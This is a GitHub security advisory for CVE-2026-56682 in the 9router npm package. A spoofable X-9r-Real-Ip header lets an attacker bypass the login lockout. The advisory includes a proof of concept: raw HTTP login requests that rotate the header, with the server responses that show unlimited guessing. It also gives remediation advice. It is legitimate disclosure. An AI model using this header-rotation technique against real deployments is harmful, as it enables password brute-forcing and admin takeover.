GitHub Advisoryadvisory · npm
GHSA-32gc-64m7-hj7v 9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header
MEDIUM
Official page ↗
- Aliases
- CVE-2026-56682
- Ecosystem
- npm
- Packages
- 9router
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-307, CWE-807
- Reviewed
- 2026-09-22
Affected packages
• npm 9router: < 0.5.8 → fixed in 0.5.8
Description
Summary
9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.
Affected Component
• `src/lib/auth/loginLimiter.js`
• `getClientIp()` — derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header
• `checkLock()` / `recordFail()` — per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`)
• `src/app/api/auth/login/route.js` — login endpoint protected by the above limiter
Root Cause
The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:
```text
Untrusted Client Input
↓
X-9r-Real-Ip:
↓
getClientIp() → distinct bucket per request
↓
recordFail()/checkLock() → threshold (5) never reached
↓
unlimited 401 attempts, no 429 lockout
```
Attack Scenario
1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`).
2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...).
3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`.
4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.
Proof of Concept
Baseline — fixed header value (lockout enforced)
Repeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{"password":"wrong"}`:
```http
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
```
Observed responses (sequential):
```text
1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
2 → 401 {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}
3 → 401 {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}
4 → 401 {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}
5 → 429 Retry-After: 30
{"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}
```
Exploit — rotated header value (lockout bypassed)
Same request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked:
```http
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
```
Observed responses:
```text
X-9r-Real-Ip: 10.0.0.1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.2 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.3 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
```
Every rotated value resets to `"4 attempt(s) left"` and never returns `429`, demonstrating unbounded guessing.
Impact
The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed.
Remediation
• Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket.
• Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.
• If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter.
• Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.
Related
Alias · CVE (1)
- CVE-2026-56682 9Router is an AI router & token saver. vulnerability